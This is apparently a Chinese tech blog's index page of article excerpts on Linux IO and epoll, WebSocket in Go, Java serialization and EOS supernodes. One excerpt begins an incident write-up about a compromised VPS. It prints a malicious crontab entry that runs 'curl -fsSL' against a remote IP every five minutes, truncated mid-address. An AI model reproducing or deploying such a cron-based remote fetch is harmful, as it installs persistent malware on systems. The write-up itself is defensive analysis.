2015-08-27 Li Shuai
同步IO Linux IO的两阶段 同步, 异步, 阻塞, 非阻塞, 是网络IO中经常被提到的概念, 刚接触Tornado服务器的时候也知道Tornado是异步非阻塞的高性能web服务器, 直到最近看了一些资料才对同步异步的概念有了一些自己的想法。 HTTP协议是构建在TCP协议上的, TCP通信的底层本质上是socket的IO, 在Linux上, 以读socket为例, 数据首先到达的是内核缓冲区, 其次才会从内核缓冲区拷贝到用户进程, 所以负责通信的进程去读写socket的时候(也即recvfrom调用), 一般是两个阶段: 等待数据准备好, 此时数据暂存在内核缓冲区 数据准备好, 从内核缓冲区拷贝到用户进程 以上的两阶 继续阅读 »
2015-11-15 Li Shuai
Linux里的IO多路复用是有效提高IO效率的技术。主要有select、poll、epoll三种。 select select调用的函数接口是: int select(int nfds, fd_set *readfds, fd_set *writefds, fd_set *exceptfds, struct timeval *timeout); 参数说明: nfds: fdset中最大描述符值加1, fdset是一个位数组, 大小为__FD_SETSIZE(1024), 位数组的每一位表示该描述符是否被检查 readfds, writefds, exceptfds: 三个位数组, 非别对应监听不同类型读写及错误事件的描述符。 继续阅读 »
2018-03-08 Robin Wen
文/温国兵 这是「区块链技术指北」的第 28 篇文章。 如果对我感兴趣,想和我交流,我的微信号:Wentasy,加我时简单介绍下自己,并注明来自「区块链技术指北」。同时我会把你拉入微信群「区块链技术指北」。BTW,李笑来老师也加入了我的知识星球,文末有加入方式。 0x00 背景 某日,笔者收到 VPS 服务器 CPU 告警,上服务器一看,有个叫做 gpg-agentd 的进程占用大量的 CPU 资源。接着就是常规的排查,IO 情况、网络流量、内存情况、系统日志、crontab 等。当排查到 crontab 时,发现 crontab 有如下的任务: bash */5 * * * * curl -fsSL http://84. 继续阅读 »
2018-06-10 Piasy
最近工作需要,对 WebSocket 进行了一点研究,今天在这里给大家分享一下我对 WebSocket 协议、WebSocket 的 Go 语言实现,以及 socket.io 服务端库的 Go 语言实现的理解。 WebSocket 简介 继续阅读 »
2015-03-25 Lanffy
什么是对象序列化和对象反序列化 序列化是一种用来处理对象流的机制,所谓对象流也就是将对象的内容进行流化。对象序列化和反序列化的过程就是将对象写入字节流和从字节流中读取对象的过程。将对象状态转换成字节流后,可以用java.io包中的各种I/O流类将其保存到文件中,或者应用NIO技术将其传输到另一线程中或通过网络连接将对象数据发送到另一主机。对象序列化功能非常强大,在RMI、Socket、JMS和EJB中都有应用。 继续阅读 »
2018-04-09 Robin Wen
题图来自: © SuperONE / SuperONE / superone.io 何为 EOS 超级节点? EOS 中的超级节点,指的是那些收集交易信息并打包到区块里的节点。在 EOS 白皮书中这些节点也被称为 “区块生产者(Block Producers, BPs)”。 EOS 自发布时起就是区块链领域的明星级项目。这是因为其白皮书中承诺了许多诱人特性,如百万级 TPS、无手续费等。DPOS 算法正是实现这些特性的基础之一。 按照 EOS 白皮书的计划,实现 DPOS 算法需要有 21 个超级节点,以及 100 个备用节点。 超级节点主要负责以下事务: 收集网络里的交易; 验证交易并把交易打包到区块; 广播区块给其他 继续阅读 »